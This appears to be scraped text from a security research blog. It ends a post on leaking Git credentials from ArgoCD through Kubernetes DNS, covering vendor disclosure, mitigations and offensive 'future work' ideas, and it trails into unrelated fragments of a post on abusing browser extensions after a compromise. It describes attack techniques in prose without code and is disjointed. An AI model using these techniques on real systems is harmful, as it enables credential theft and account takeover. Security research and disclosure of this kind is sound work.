In this research, we have identified a technique that enables an authenticated attacker to leak Git credentials in ArgoCD using Kubernetes DNS. This technique has never been mentioned before, and therefore, it has a lot of work to be done and possibly a greater impact. It has its limitations, but if we exfiltrate even one GitHub credential, we can potentially take control of a GitHub account and its repositories, as well as the organizations the user is a part of.</p>
Fun Fact: We have approached the ArgoCD team and discussed this technique. They told us that they had never seen this technique before; however, they did not consider it a vulnerability because they believed it was a problem with Kubernetes default configurations, not Argocd. Additionally, they informed us that the TLS would mitigate this issue, but as demonstrated, if an attacker has a certificate "create" policy, they can still perform the attack. (Once we reported this issue, they were quick to discuss it, so kudos to them.)</em></p>
Mitigations</strong> that can be in place to prevent this technique:</p>

Least privilege to the user deploying the services in argocd</li>
Create a more strict project inside argocd</li>
Monitoring in argocd, access to the argocd UI and CLI, and requests from internal pods to other pods, etc</li>
Create GitHub tokens with least privilege</li>
SSH can beat this technique since it never leaks the private key</li>
Restrict the "Certificates" feature to users, only allowing admins to use it</li>
</ul>
Future work</strong>:</p>


Find a way to inject a malicious YAML before sending the response to argocd. In our research, we discovered that ArgoCD uses Git packs to retrieve the content from the GitHub repository. Maybe find a way to pollute its content.</p>
</li>

Argocd has a feature to send notifications to Slack and other communication services; we can try to use the same method to exfiltrate tokens from them.</p>
</li>

We can try to leak the cluster keys used by argocd using this technique since the default cluster that comes configured communicates with https://kubernetes.default.svc</code>. If we steal those keys, we might gain cluster admin access.</p>
</li>

We can try the same technique in other similar services like Flux or CircleCI if they share the same features.</p>
</li>
</ul>
Well thats it kids, stay safe!</strong>
Until next time!</strong></p>

Future Sight

Extending my access: Abusing installed extensions for post compromise

The attack chain</h3> So we had a way:</p> Create a junction to the default profile</li> Fool the user into using this profile by changing the taskbar shortcut</li>

Step 2: Getting a proc handle</h3> After retrieving the process, we need to get a handle to it and probe its memory. For that, we use the OpenProcess</code> API with PROCESS_VM_READ</code> and PROCESS_QUERY_INFORMATION</code> permissions:</p>

The rogue host</h4> Our rogue native messaging host is written in Go and implements just enough of the protocol to make the extension happy. The native messaging protocol uses 4-byte little-endian length-prefixed JSON messages over stdin/stdout. The handshake is a simple:</p>

Stealing the keys from the octopus: Exfiltrate Git Credentials in Argocd